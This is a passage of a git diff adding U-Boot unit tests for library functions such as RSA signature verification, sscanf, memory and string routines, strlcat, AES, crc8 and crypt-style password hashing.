+ 0x96, 0x00, 0xb0, 0xd8, 0xaa, 0x05, 0xfa, 0xaa, 0xa1, 0x78, 0x77, 0xd5,
+ 0x09, 0xdd, 0x05, 0xc7, 0xe2, 0x9f, 0x68, 0xc7, 0xf8, 0xfb, 0x0b, 0x6f,
+ 0x18, 0x1e, 0xcc, 0x93, 0xd3, 0x3f, 0xc9, 0x26, 0x29, 0x64, 0xe7, 0x15,
+ 0xdc, 0xb8, 0x19, 0x10, 0x24, 0x55, 0x55, 0x3b, 0x79, 0xa1, 0x65, 0x12,
+ 0xe0, 0x0b, 0x88, 0x44, 0x4c, 0xea, 0x85, 0x5a, 0x6b, 0x2d, 0x45, 0x6e,
+ 0xe7, 0x83, 0x6f, 0x3a, 0xaa, 0x1e, 0xf1, 0x9c, 0x8f, 0xdc, 0xb9, 0x37,
+ 0xa2, 0x15, 0x61, 0x93, 0x06, 0x23, 0xf5, 0xfe, 0xf0, 0xf8, 0x2b, 0xf7,
+ 0xc0, 0x68, 0x67, 0xf6, 0x4e, 0x08, 0x0d, 0x0d, 0x08, 0xbe, 0xfb, 0x2c,
+ 0x4c, 0xe7, 0xd7, 0x1a, 0xad, 0xd9, 0x98, 0xa1, 0x8d, 0x94, 0x1c, 0xd1,
+ 0x89, 0x06, 0xc9, 0x3a
+};
+
+static unsigned int data_enc_len = 256;
+
+/**
+ * lib_rsa_verify_valid() - unit test for rsa_verify()
+ *
+ * Test rsa_verify() with valid hash
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_rsa_verify_valid(struct unit_test_state *uts)
+{
+ struct image_sign_info info;
+ struct image_region reg;
+ int ret;
+
+ memset(&info, '\0', sizeof(info));
+ info.name = "sha256,rsa2048";
+ info.padding = image_get_padding_algo("pkcs-1.5");
+ info.checksum = image_get_checksum_algo("sha256,rsa2048");
+ info.crypto = image_get_crypto_algo(info.name);
+
+ info.key = public_key;
+ info.keylen = public_key_len;
+
+ reg.data = data_raw;
+ reg.size = data_raw_len;
+ ret = rsa_verify(&info, &reg, 1, data_enc, data_enc_len);
+ ut_assertf(ret == 0, "verification unexpectedly failed (%d)\n", ret);
+
+ return CMD_RET_SUCCESS;
+}
+
+LIB_TEST(lib_rsa_verify_valid, 0);
+
+/**
+ * lib_rsa_verify_invalid() - unit test for rsa_verify()
+ *
+ * Test rsa_verify() with invalid hash
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_rsa_verify_invalid(struct unit_test_state *uts)
+{
+ struct image_sign_info info;
+ struct image_region reg;
+ unsigned char ctmp;
+ int ret;
+
+ memset(&info, '\0', sizeof(info));
+ info.name = "sha256,rsa2048";
+ info.padding = image_get_padding_algo("pkcs-1.5");
+ info.checksum = image_get_checksum_algo("sha256,rsa2048");
+ info.crypto = image_get_crypto_algo(info.name);
+
+ info.key = public_key;
+ info.keylen = public_key_len;
+
+ /* randomly corrupt enc'ed data */
+ ctmp = data_enc[data_enc_len - 10];
+ data_enc[data_enc_len - 10] = 0x12;
+
+ reg.data = data_raw;
+ reg.size = data_raw_len;
+ ret = rsa_verify(&info, &reg, 1, data_enc, data_enc_len);
+
+ /* revert a change */
+ data_enc[data_enc_len - 10] = ctmp;
+
+ ut_assertf(ret != 0, "verification unexpectedly succeeded\n");
+
+ return CMD_RET_SUCCESS;
+}
+
+LIB_TEST(lib_rsa_verify_invalid, 0);
+#endif /* RSA_VERIFY_WITH_PKEY */
diff --git a/test/lib/sscanf.c b/test/lib/sscanf.c
new file mode 100644
index 00000000000..9fe5521749f
--- /dev/null
+++ b/test/lib/sscanf.c
@@ -0,0 +1,173 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2002, Uwe Bonnes
+ * Copyright (c) 2001-2004, Roger Dingledine.
+ * Copyright (c) 2004-2006, Roger Dingledine, Nick Mathewson.
+ * Copyright (c) 2007-2016, The Tor Project, Inc.
+ * Copyright (c) 2020, EPAM Systems Inc.
+ *
+ * Unit tests for sscanf() function
+ */
+
+#include <command.h>
+#include <log.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define EOF -1
+
+/**
+ * lib_sscanf() - unit test for sscanf()
+ * @uts: unit test state
+ *
+ * Test sscanf() with varied parameters in different combinations passed
+ * as arguments.
+ *
+ * Return: 0 - success
+ * 1 - failure
+ */
+static int lib_sscanf(struct unit_test_state *uts)
+{
+ char buffer[100], buffer1[100];
+ int result, ret;
+ static const char pname[] = " Hello World!\n";
+ int hour = 21, min = 59, sec = 20;
+ int number, number_so_far;
+ unsigned int u1, u2, u3;
+ char s1[20], s2[10], s3[10], ch;
+ int r, int1, int2;
+ long lng1;
+
+ /* check EOF */
+ strcpy(buffer, "");
+ ret = sscanf(buffer, "%d", &result);
+ ut_asserteq(ret, EOF);
+
+ /* check %x */
+ strcpy(buffer, "0x519");
+ ut_asserteq(sscanf(buffer, "%x", &result), 1);
+ ut_asserteq(result, 0x519);
+
+ strcpy(buffer, "0x51a");
+ ut_asserteq(sscanf(buffer, "%x", &result), 1);
+ ut_asserteq(result, 0x51a);
+
+ strcpy(buffer, "0x51g");
+ ut_asserteq(sscanf(buffer, "%x", &result), 1);
+ ut_asserteq(result, 0x51);
+
+ /* check strings */
+ ret = sprintf(buffer, " %s", pname);
+ ret = sscanf(buffer, "%*c%[^\n]", buffer1);
+ ut_asserteq(ret, 1);
+ ut_asserteq(strncmp(pname, buffer1, strlen(buffer1)), 0);
+
+ /* check digits */
+ ret = sprintf(buffer, "%d:%d:%d", hour, min, sec);
+ ret = sscanf(buffer, "%d%n", &number, &number_so_far);
+ ut_asserteq(ret, 1);
+ ut_asserteq(number, hour);
+ ut_asserteq(number_so_far, 2);
+
+ ret = sscanf(buffer + 2, "%*c%n", &number_so_far);
+ ut_asserteq(ret, 0);
+ ut_asserteq(number_so_far, 1);
+
+ /* Check %i */
+ strcpy(buffer, "123");
+ ret = sscanf(buffer, "%i", &result);
+ ut_asserteq(ret, 1);
+ ut_asserteq(result, 123);
+ ret = sscanf(buffer, "%d", &result);
+ ut_asserteq(ret, 1);
+ ut_asserteq(result, 123);
+
+ ut_asserteq(0, sscanf("hello world", "hello world"));
+ ut_asserteq(0, sscanf("hello world", "good bye"));
+ /* Excess data */
+ ut_asserteq(0, sscanf("hello 3", "%u", &u1)); /* have to match the start */
+ ut_asserteq(1, sscanf("3 hello", "%u", &u1)); /* but trailing is alright */
+
+ /* Numbers (ie. %u) */
+ ut_asserteq(0, sscanf("hello world 3", "hello worlb %u", &u1)); /* d vs b */
+ ut_asserteq(1, sscanf("12345", "%u", &u1));
+ ut_asserteq(12345u, u1);
+ ut_asserteq(1, sscanf("0", "%u", &u1));
+ ut_asserteq(0u, u1);
+ ut_asserteq(1, sscanf("0000", "%u", &u2));
+ ut_asserteq(0u, u2);
+ ut_asserteq(0, sscanf("A", "%u", &u1)); /* bogus number */
+
+ /* Numbers with size (eg. %2u) */
+ ut_asserteq(2, sscanf("123456", "%2u%u", &u1, &u2));
+ ut_asserteq(12u, u1);
+ ut_asserteq(3456u, u2);
+ ut_asserteq(1, sscanf("123456", "%8u", &u1));
+ ut_asserteq(123456u, u1);
+ ut_asserteq(1, sscanf("123457 ", "%8u", &u1));
+ ut_asserteq(123457u, u1);
+ ut_asserteq(3, sscanf("!12:3:456", "!%2u:%2u:%3u", &u1, &u2, &u3));
+ ut_asserteq(12u, u1);
+ ut_asserteq(3u, u2);
+ ut_asserteq(456u, u3);
+ ut_asserteq(3, sscanf("67:8:099", "%2u:%2u:%3u", &u1, &u2, &u3)); /* 0s */
+ ut_asserteq(67u, u1);
+ ut_asserteq(8u, u2);
+ ut_asserteq(99u, u3);
+ /* Arbitrary amounts of 0-padding are okay */
+ ut_asserteq(3, sscanf("12:03:000000000000000099", "%2u:%2u:%u", &u1, &u2, &u3));
+ ut_asserteq(12u, u1);
+ ut_asserteq(3u, u2);
+ ut_asserteq(99u, u3);
+
+ /* Hex (ie. %x) */
+ ut_asserteq(3, sscanf("1234 02aBcdEf ff", "%x %x %x", &u1, &u2, &u3));
+ ut_asserteq(0x1234, u1);
+ ut_asserteq(0x2ABCDEF, u2);
+ ut_asserteq(0xFF, u3);
+ /* Width works on %x */
+ ut_asserteq(3, sscanf("f00dcafe444", "%4x%4x%u", &u1, &u2, &u3));
+ ut_asserteq(0xf00d, u1);
+ ut_asserteq(0xcafe, u2);
+ ut_asserteq(444, u3);
+
+ /* Literal '%' (ie. '%%') */
+ ut_asserteq(1, sscanf("99% fresh", "%3u%% fresh", &u1));
+ ut_asserteq(99, u1);
+ ut_asserteq(0, sscanf("99 fresh", "%% %3u %s", &u1, s1));
+ ut_asserteq(1, sscanf("99 fresh", "%3u%% %s", &u1, s1));
+ ut_asserteq(2, sscanf("99 fresh", "%3u %5s %%", &u1, s1));
+ ut_asserteq(99, u1);
+ ut_asserteq_str(s1, "fresh");
+ ut_asserteq(1, sscanf("% boo", "%% %3s", s1));
+ ut_asserteq_str("boo", s1);
+
+ /* Strings (ie. %s) */
+ ut_asserteq(2, sscanf("hello", "%3s%7s", s1, s2));
+ ut_asserteq_str(s1, "hel");
+ ut_asserteq_str(s2, "lo");
+ ut_asserteq(2, sscanf("WD40", "%2s%u", s3, &u1)); /* %s%u */
+ ut_asserteq_str(s3, "WD");
+ ut_asserteq(40, u1);
+ ut_asserteq(2, sscanf("WD40", "%3s%u", s3, &u1)); /* %s%u */
+ ut_asserteq_str(s3, "WD4");
+ ut_asserteq(0, u1);
+ ut_asserteq(2, sscanf("76trombones", "%6u%9s", &u1, s1)); /* %u%s */
+ ut_asserteq(76, u1);
+ ut_asserteq_str(s1, "trombones");
+
+ ut_asserteq(3, sscanf("1.2.3", "%u.%u.%u%c", &u1, &u2, &u3, &ch));
+ ut_asserteq(4, sscanf("1.2.3 foobar", "%u.%u.%u%c", &u1, &u2, &u3, &ch));
+ ut_asserteq(' ', ch);
+
+ r = sscanf("12345 -67890 -1", "%d %ld %d", &int1, &lng1, &int2);
+ ut_asserteq(r, 3);
+ ut_asserteq(int1, 12345);
+ ut_asserteq(lng1, -67890);
+ ut_asserteq(int2, -1);
+
+ return 0;
+}
+
+LIB_TEST(lib_sscanf, 0);
diff --git a/test/lib/string.c b/test/lib/string.c
new file mode 100644
index 00000000000..d08dbca9291
--- /dev/null
+++ b/test/lib/string.c
@@ -0,0 +1,226 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2019 Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Unit tests for memory functions
+ *
+ * The architecture dependent implementations run through different lines of
+ * code depending on the alignment and length of memory regions copied or set.
+ * This has to be considered in testing.
+ */
+
+#include <command.h>
+#include <log.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Xor mask used for marking memory regions */
+#define MASK 0xA5
+/* Number of different alignment values */
+#define SWEEP 16
+/* Allow for copying up to 32 bytes */
+#define BUFLEN (SWEEP + 33)
+
+#define TEST_STR "hello"
+
+/**
+ * init_buffer() - initialize buffer
+ *
+ * The buffer is filled with incrementing values xor'ed with the mask.
+ *
+ * @buf: buffer
+ * @mask: xor mask
+ */
+static void init_buffer(u8 buf[], u8 mask)
+{
+ int i;
+
+ for (i = 0; i < BUFLEN; ++i)
+ buf[i] = i ^ mask;
+}
+
+/**
+ * test_memset() - test result of memset()
+ *
+ * @uts: unit test state
+ * @buf: buffer
+ * @mask: value set by memset()
+ * @offset: relative start of region changed by memset() in buffer
+ * @len: length of region changed by memset()
+ * Return: 0 = success, 1 = failure
+ */
+static int test_memset(struct unit_test_state *uts, u8 buf[], u8 mask,
+ int offset, int len)
+{
+ int i;
+
+ for (i = 0; i < BUFLEN; ++i) {
+ if (i < offset || i >= offset + len) {
+ ut_asserteq(i, buf[i]);
+ } else {
+ ut_asserteq(mask, buf[i]);
+ }
+ }
+ return 0;
+}
+
+/**
+ * lib_memset() - unit test for memset()
+ *
+ * Test memset() with varied alignment and length of the changed buffer.
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_memset(struct unit_test_state *uts)
+{
+ u8 buf[BUFLEN];
+ int offset, len;
+ void *ptr;
+
+ for (offset = 0; offset <= SWEEP; ++offset) {
+ for (len = 1; len < BUFLEN - SWEEP; ++len) {
+ init_buffer(buf, 0);
+ ptr = memset(buf + offset, MASK, len);
+ ut_asserteq_ptr(buf + offset, (u8 *)ptr);
+ if (test_memset(uts, buf, MASK, offset, len)) {
+ debug("%s: failure %d, %d\n",
+ __func__, offset, len);
+ return CMD_RET_FAILURE;
+ }
+ }
+ }
+ return 0;
+}
+
+LIB_TEST(lib_memset, 0);
+
+/**
+ * test_memmove() - test result of memcpy() or memmove()
+ *
+ * @uts: unit test state
+ * @buf: buffer
+ * @mask: xor mask used to initialize source buffer
+ * @offset1: relative start of copied region in source buffer
+ * @offset2: relative start of copied region in destination buffer
+ * @len: length of region changed by memset()
+ * Return: 0 = success, 1 = failure
+ */
+static int test_memmove(struct unit_test_state *uts, u8 buf[], u8 mask,
+ int offset1, int offset2, int len)
+{
+ int i;
+
+ for (i = 0; i < BUFLEN; ++i) {
+ if (i < offset2 || i >= offset2 + len) {
+ ut_asserteq(i, buf[i]);
+ } else {
+ ut_asserteq((i + offset1 - offset2) ^ mask, buf[i]);
+ }
+ }
+ return 0;
+}
+
+/**
+ * lib_memcpy() - unit test for memcpy()
+ *
+ * Test memcpy() with varied alignment and length of the copied buffer.
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_memcpy(struct unit_test_state *uts)
+{
+ u8 buf1[BUFLEN];
+ u8 buf2[BUFLEN];
+ int offset1, offset2, len;
+ void *ptr;
+
+ init_buffer(buf1, MASK);
+
+ for (offset1 = 0; offset1 <= SWEEP; ++offset1) {
+ for (offset2 = 0; offset2 <= SWEEP; ++offset2) {
+ for (len = 1; len < BUFLEN - SWEEP; ++len) {
+ init_buffer(buf2, 0);
+ ptr = memcpy(buf2 + offset2, buf1 + offset1,
+ len);
+ ut_asserteq_ptr(buf2 + offset2, (u8 *)ptr);
+ if (test_memmove(uts, buf2, MASK, offset1,
+ offset2, len)) {
+ debug("%s: failure %d, %d, %d\n",
+ __func__, offset1, offset2, len);
+ return CMD_RET_FAILURE;
+ }
+ }
+ }
+ }
+ return 0;
+}
+
+LIB_TEST(lib_memcpy, 0);
+
+/**
+ * lib_memmove() - unit test for memmove()
+ *
+ * Test memmove() with varied alignment and length of the copied buffer.
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_memmove(struct unit_test_state *uts)
+{
+ u8 buf[BUFLEN];
+ int offset1, offset2, len;
+ void *ptr;
+
+ for (offset1 = 0; offset1 <= SWEEP; ++offset1) {
+ for (offset2 = 0; offset2 <= SWEEP; ++offset2) {
+ for (len = 1; len < BUFLEN - SWEEP; ++len) {
+ init_buffer(buf, 0);
+ ptr = memmove(buf + offset2, buf + offset1,
+ len);
+ ut_asserteq_ptr(buf + offset2, (u8 *)ptr);
+ if (test_memmove(uts, buf, 0, offset1, offset2,
+ len)) {
+ debug("%s: failure %d, %d, %d\n",
+ __func__, offset1, offset2, len);
+ return CMD_RET_FAILURE;
+ }
+ }
+ }
+ }
+ return 0;
+}
+
+LIB_TEST(lib_memmove, 0);
+
+/** lib_memdup() - unit test for memdup() */
+static int lib_memdup(struct unit_test_state *uts)
+{
+ char buf[BUFLEN];
+ size_t len;
+ char *p, *q;
+
+ /* Zero size should do nothing */
+ p = memdup(NULL, 0);
+ ut_assertnonnull(p);
+ free(p);
+
+ p = memdup(buf, 0);
+ ut_assertnonnull(p);
+ free(p);
+
+ strcpy(buf, TEST_STR);
+ len = sizeof(TEST_STR);
+ p = memdup(buf, len);
+ ut_asserteq_mem(p, buf, len);
+
+ q = memdup(p, len);
+ ut_asserteq_mem(q, buf, len);
+ free(q);
+ free(p);
+
+ return 0;
+}
+LIB_TEST(lib_memdup, 0);
diff --git a/test/lib/strlcat.c b/test/lib/strlcat.c
new file mode 100644
index 00000000000..d1a0293271b
--- /dev/null
+++ b/test/lib/strlcat.c
@@ -0,0 +1,125 @@
+// SPDX-License-Identifier: GPL-2.1+
+/*
+ * Copyright (C) 2021 Sean Anderson <seanga2@gmail.com>
+ * Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ *
+ * These tests adapted from glibc's string/test-strncat.c
+ */
+
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define BUF_SIZE 4096
+char buf1[BUF_SIZE], buf2[BUF_SIZE];
+
+static int do_test_strlcat(struct unit_test_state *uts, int line, size_t align1,
+ size_t align2, size_t len1, size_t len2, size_t n)
+{
+ char *s1, *s2;
+ size_t i, len, expected, actual;
+
+ align1 &= 7;
+ if (align1 + len1 >= BUF_SIZE)
+ return 0;
+ if (align1 + n > BUF_SIZE)
+ return 0;
+
+ align2 &= 7;
+ if (align2 + len1 + len2 >= BUF_SIZE)
+ return 0;
+ if (align2 + len1 + n > BUF_SIZE)
+ return 0;
+
+ s1 = buf1 + align1;
+ s2 = buf2 + align2;
+
+ for (i = 0; i < len1 - 1; i++)
+ s1[i] = 32 + 23 * i % (127 - 32);
+ s1[len1 - 1] = '\0';
+
+ for (i = 0; i < len2 - 1; i++)
+ s2[i] = 32 + 23 * i % (127 - 32);
+ s2[len2 - 1] = '\0';
+
+ expected = min(strlen(s2), n) + strlen(s1);
+ actual = strlcat(s2, s1, n);
+ if (expected != actual) {
+ ut_failf(uts, __FILE__, line, __func__,
+ "strlcat(s2, s1, n) == min(len2, n) + len1",
+ "Expected %#zx (%zd), got %#zx (%zd)",
+ expected, expected, actual, actual);
+ return CMD_RET_FAILURE;
+ }
+
+ len = min3(len1, n - len2, (size_t)0);
+ if (memcmp(s2 + len2, s1, len)) {
+ ut_failf(uts, __FILE__, line, __func__,
+ "s2 + len1 == s1",
+ "Expected \"%.*s\", got \"%.*s\"",
+ (int)len, s1, (int)len, s2 + len2);
+ return CMD_RET_FAILURE;
+ }
+
+ i = min(n, len1 + len2 - 1) - 1;
+ if (len2 < n && s2[i] != '\0') {
+ ut_failf(uts, __FILE__, line, __func__,
+ "n < len1 && s2[len2 + n] == '\\0'",
+ "Expected s2[%zd] = '\\0', got %d ('%c')",
+ i, s2[i], s2[i]);
+ return CMD_RET_FAILURE;
+ }
+
+ return 0;
+}
+
+#define test_strlcat(align1, align2, len1, len2, n) do { \
+ int ret = do_test_strlcat(uts, __LINE__, align1, align2, len1, len2, \
+ n); \
+ if (ret) \
+ return ret; \
+} while (0)
+
+static int lib_test_strlcat(struct unit_test_state *uts)
+{
+ size_t i, n;
+
+ test_strlcat(0, 2, 2, 2, SIZE_MAX);
+ test_strlcat(0, 0, 4, 4, SIZE_MAX);
+ test_strlcat(4, 0, 4, 4, SIZE_MAX);
+ test_strlcat(0, 0, 8, 8, SIZE_MAX);
+ test_strlcat(0, 8, 8, 8, SIZE_MAX);
+
+ for (i = 1; i < 8; i++) {
+ test_strlcat(0, 0, 8 << i, 8 << i, SIZE_MAX);
+ test_strlcat(8 - i, 2 * i, 8 << i, 8 << i, SIZE_MAX);
+ test_strlcat(0, 0, 8 << i, 2 << i, SIZE_MAX);
+ test_strlcat(8 - i, 2 * i, 8 << i, 2 << i, SIZE_MAX);
+
+ test_strlcat(i, 2 * i, 8 << i, 1, SIZE_MAX);
+ test_strlcat(2 * i, i, 8 << i, 1, SIZE_MAX);
+ test_strlcat(i, i, 8 << i, 10, SIZE_MAX);
+ }
+
+ for (n = 2; n <= 2048; n *= 4) {
+ test_strlcat(0, 2, 2, 2, n);
+ test_strlcat(0, 0, 4, 4, n);
+ test_strlcat(4, 0, 4, 4, n);
+ test_strlcat(0, 0, 8, 8, n);
+ test_strlcat(0, 8, 8, 8, n);
+
+ for (i = 1; i < 8; i++) {
+ test_strlcat(0, 0, 8 << i, 8 << i, n);
+ test_strlcat(8 - i, 2 * i, 8 << i, 8 << i, n);
+ test_strlcat(0, 0, 8 << i, 2 << i, n);
+ test_strlcat(8 - i, 2 * i, 8 << i, 2 << i, n);
+
+ test_strlcat(i, 2 * i, 8 << i, 1, n);
+ test_strlcat(2 * i, i, 8 << i, 1, n);
+ test_strlcat(i, i, 8 << i, 10, n);
+ }
+ }
+
+ return 0;
+}
+LIB_TEST(lib_test_strlcat, 0);
diff --git a/test/lib/test_aes.c b/test/lib/test_aes.c
new file mode 100644
index 00000000000..cfd9d8ca5a9
--- /dev/null
+++ b/test/lib/test_aes.c
@@ -0,0 +1,167 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2019 Philippe Reynes <philippe.reynes@softathome.com>
+ *
+ * Unit tests for aes functions
+ */
+
+#include <command.h>
+#include <hexdump.h>
+#include <rand.h>
+#include <uboot_aes.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define TEST_AES_ONE_BLOCK 0
+#define TEST_AES_CBC_CHAIN 1
+
+struct test_aes_s {
+ int key_len;
+ int key_exp_len;
+ int type;
+ int num_block;
+};
+
+static struct test_aes_s test_aes[] = {
+ { AES128_KEY_LENGTH, AES128_EXPAND_KEY_LENGTH, TEST_AES_ONE_BLOCK, 1 },
+ { AES128_KEY_LENGTH, AES128_EXPAND_KEY_LENGTH, TEST_AES_CBC_CHAIN, 16 },
+ { AES192_KEY_LENGTH, AES192_EXPAND_KEY_LENGTH, TEST_AES_ONE_BLOCK, 1 },
+ { AES192_KEY_LENGTH, AES192_EXPAND_KEY_LENGTH, TEST_AES_CBC_CHAIN, 16 },
+ { AES256_KEY_LENGTH, AES256_EXPAND_KEY_LENGTH, TEST_AES_ONE_BLOCK, 1 },
+ { AES256_KEY_LENGTH, AES256_EXPAND_KEY_LENGTH, TEST_AES_CBC_CHAIN, 16 },
+};
+
+static void rand_buf(u8 *buf, int size)
+{
+ int i;
+
+ for (i = 0; i < size; i++)
+ buf[i] = rand() & 0xff;
+}
+
+static int lib_test_aes_one_block(struct unit_test_state *uts, int key_len,
+ u8 *key_exp, u8 *iv, int num_block,
+ u8 *nocipher, u8 *ciphered, u8 *uncipher)
+{
+ aes_encrypt(key_len, nocipher, key_exp, ciphered);
+ aes_decrypt(key_len, ciphered, key_exp, uncipher);
+
+ ut_asserteq_mem(nocipher, uncipher, AES_BLOCK_LENGTH);
+
+ /* corrupt the expanded key */
+ key_exp[0]++;
+ aes_decrypt(key_len, ciphered, key_exp, uncipher);
+ ut_assertf(memcmp(nocipher, uncipher, AES_BLOCK_LENGTH),
+ "nocipher and uncipher should be different\n");
+
+ return 0;
+}
+
+static int lib_test_aes_cbc_chain(struct unit_test_state *uts, int key_len,
+ u8 *key_exp, u8 *iv, int num_block,
+ u8 *nocipher, u8 *ciphered, u8 *uncipher)
+{
+ aes_cbc_encrypt_blocks(key_len, key_exp, iv,
+ nocipher, ciphered, num_block);
+ aes_cbc_decrypt_blocks(key_len, key_exp, iv,
+ ciphered, uncipher, num_block);
+
+ ut_asserteq_mem(nocipher, uncipher, num_block * AES_BLOCK_LENGTH);
+
+ /* corrupt the expanded key */
+ key_exp[0]++;
+ aes_cbc_decrypt_blocks(key_len, key_exp, iv,
+ ciphered, uncipher, num_block);
+ ut_assertf(memcmp(nocipher, uncipher, num_block * AES_BLOCK_LENGTH),
+ "nocipher and uncipher should be different\n");
+
+ return 0;
+}
+
+static int _lib_test_aes_run(struct unit_test_state *uts, int key_len,
+ int key_exp_len, int type, int num_block)
+{
+ u8 *key, *key_exp, *iv;
+ u8 *nocipher, *ciphered, *uncipher;
+ int ret;
+
+ /* Allocate all the buffer */
+ key = malloc(key_len);
+ key_exp = malloc(key_exp_len);
+ iv = malloc(AES_BLOCK_LENGTH);
+ nocipher = malloc(num_block * AES_BLOCK_LENGTH);
+ ciphered = malloc((num_block + 1) * AES_BLOCK_LENGTH);
+ uncipher = malloc((num_block + 1) * AES_BLOCK_LENGTH);
+
+ if (!key || !key_exp || !iv || !nocipher || !ciphered || !uncipher) {
+ printf("%s: can't allocate memory\n", __func__);
+ ret = -1;
+ goto out;
+ }
+
+ /* Initialize all buffer */
+ rand_buf(key, key_len);
+ rand_buf(iv, AES_BLOCK_LENGTH);
+ rand_buf(nocipher, num_block * AES_BLOCK_LENGTH);
+ memset(ciphered, 0, (num_block + 1) * AES_BLOCK_LENGTH);
+ memset(uncipher, 0, (num_block + 1) * AES_BLOCK_LENGTH);
+
+ /* Expand the key */
+ aes_expand_key(key, key_len, key_exp);
+
+ /* Encrypt and decrypt */
+ switch (type) {
+ case TEST_AES_ONE_BLOCK:
+ ret = lib_test_aes_one_block(uts, key_len, key_exp, iv,
+ num_block, nocipher,
+ ciphered, uncipher);
+ break;
+ case TEST_AES_CBC_CHAIN:
+ ret = lib_test_aes_cbc_chain(uts, key_len, key_exp, iv,
+ num_block, nocipher,
+ ciphered, uncipher);
+ break;
+ default:
+ printf("%s: unknown type (type=%d)\n", __func__, type);
+ ret = -1;
+ };
+
+ out:
+ /* Free all the data */
+ free(key);
+ free(key_exp);
+ free(iv);
+ free(nocipher);
+ free(ciphered);
+ free(uncipher);
+
+ return ret;
+}
+
+static int lib_test_aes_run(struct unit_test_state *uts,
+ struct test_aes_s *test)
+{
+ int key_len = test->key_len;
+ int key_exp_len = test->key_exp_len;
+ int type = test->type;
+ int num_block = test->num_block;
+
+ return _lib_test_aes_run(uts, key_len, key_exp_len,
+ type, num_block);
+}
+
+static int lib_test_aes(struct unit_test_state *uts)
+{
+ int i, ret = 0;
+
+ for (i = 0; i < ARRAY_SIZE(test_aes); i++) {
+ ret = lib_test_aes_run(uts, &test_aes[i]);
+ if (ret)
+ break;
+ }
+
+ return ret;
+}
+
+LIB_TEST(lib_test_aes, 0);
diff --git a/test/lib/test_crc8.c b/test/lib/test_crc8.c
new file mode 100644
index 00000000000..0dac97bc5bf
--- /dev/null
+++ b/test/lib/test_crc8.c
@@ -0,0 +1,29 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2023, Heinrich Schuchardt <heinrich.schuchardt@canonical.com>
+ *
+ * Unit test for crc8
+ */
+
+#include <test/lib.h>
+#include <test/ut.h>
+#include <u-boot/crc.h>
+
+static int lib_crc8(struct unit_test_state *uts) {
+ const char str[] = {0x20, 0xf4, 0xd8, 0x24, 0x6f, 0x41, 0x91, 0xae,
+ 0x46, 0x61, 0xf6, 0x55, 0xeb, 0x38, 0x47, 0x0f,
+ 0xec, 0xd8};
+ int actual1, actual2, actual3;
+ int expected1 = 0x47, expected2 = 0xea, expected3 = expected1;
+
+ actual1 = crc8(0, str, sizeof(str));
+ ut_asserteq(expected1, actual1);
+ actual2 = crc8(0, str, 7);
+ ut_asserteq(expected2, actual2);
+ actual3 = crc8(actual2, str + 7, sizeof(str) - 7);
+ ut_asserteq(expected3, actual3);
+
+ return 0;
+}
+
+LIB_TEST(lib_crc8, 0);
diff --git a/test/lib/test_crypt.c b/test/lib/test_crypt.c
new file mode 100644
index 00000000000..dcdadd992c1
--- /dev/null
+++ b/test/lib/test_crypt.c
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2021 Steffen Jaeckel
+ *
+ * Unit test for crypt-style password hashing
+ */
+
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#include <crypt.h>
+
+/**
+ * lib_crypt() - unit test for crypt-style password hashing
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_crypt(struct unit_test_state *uts)
+{
+ int equals = 0;
+ int err;
+
+ err = crypt_compare("", "password", &equals);
+ ut_assertf(err != 0, "crypt_compare successful but should not\n");
+ ut_assertf(equals != 1,
+ "crypt_compare password hash matched but should not\n");
+
+ if (IS_ENABLED(CONFIG_CRYPT_PW_SHA256)) {
+ err = crypt_compare("$5$", "password", &equals);
+ ut_assertf(err == 0, "crypt-sha256 not successful\n");
+ ut_assertf(
+ equals != 1,
+ "crypt-sha256 password hash matched but should not\n");
+
+ err = crypt_compare(
+ "$5$rounds=640000$TM4lL4zXDG7F4aRX$JM7a9wmvodnA0WasjTztj6mxg.KVuk6doQ/eBhdcapB",
+ "password", &equals);
+ ut_assertf(err == 0, "crypt-sha256 failed: %d\n", err);
+ ut_assertf(equals == 1,
+ "crypt-sha256 password hash didn't match\n");
+ }
+ equals = 0;
+ if (IS_ENABLED(CONFIG_CRYPT_PW_SHA512)) {
+ err = crypt_compare("$6$", "password", &equals);
+ ut_assertf(err == 0, "crypt-sha512 not successful\n");
+ ut_assertf(
+ equals != 1,
+ "crypt-sha512 password hash matched but should not\n");
+
+ err = crypt_compare(
+ "$6$rounds=640000$fCTP1F0N5JLq2eND$z5EzK5KZJA9JnOaj5d1Gg/2v6VqFOQJ3bVekWuCPauabutBt/8qzV1exJnytUyhbq3H0bSBXtodwNbtGEi/Tm/",
+ "password", &equals);
+ ut_assertf(err == 0, "crypt-sha512 failed: %d\n", err);
+ ut_assertf(equals == 1,
+ "crypt-sha512 password hash didn't match\n");
+ }
+
+ return CMD_RET_SUCCESS;
+}
+
+LIB_TEST(lib_crypt, 0);
diff --git a/test/lib/test_errno_str.c b/test/lib/test_errno_str.c
new file mode 100644
index 00000000000..67f76442b27
--- /dev/null
+++ b/test/lib/test_errno_str.c
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2019 Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Unit tests for memory functions
+ *
+ * The architecture dependent implementations run through different lines of
+ * code depending on the alignment and length of memory regions copied or set.
+ * This has to be considered in testing.
+ */
+
+#include <command.h>
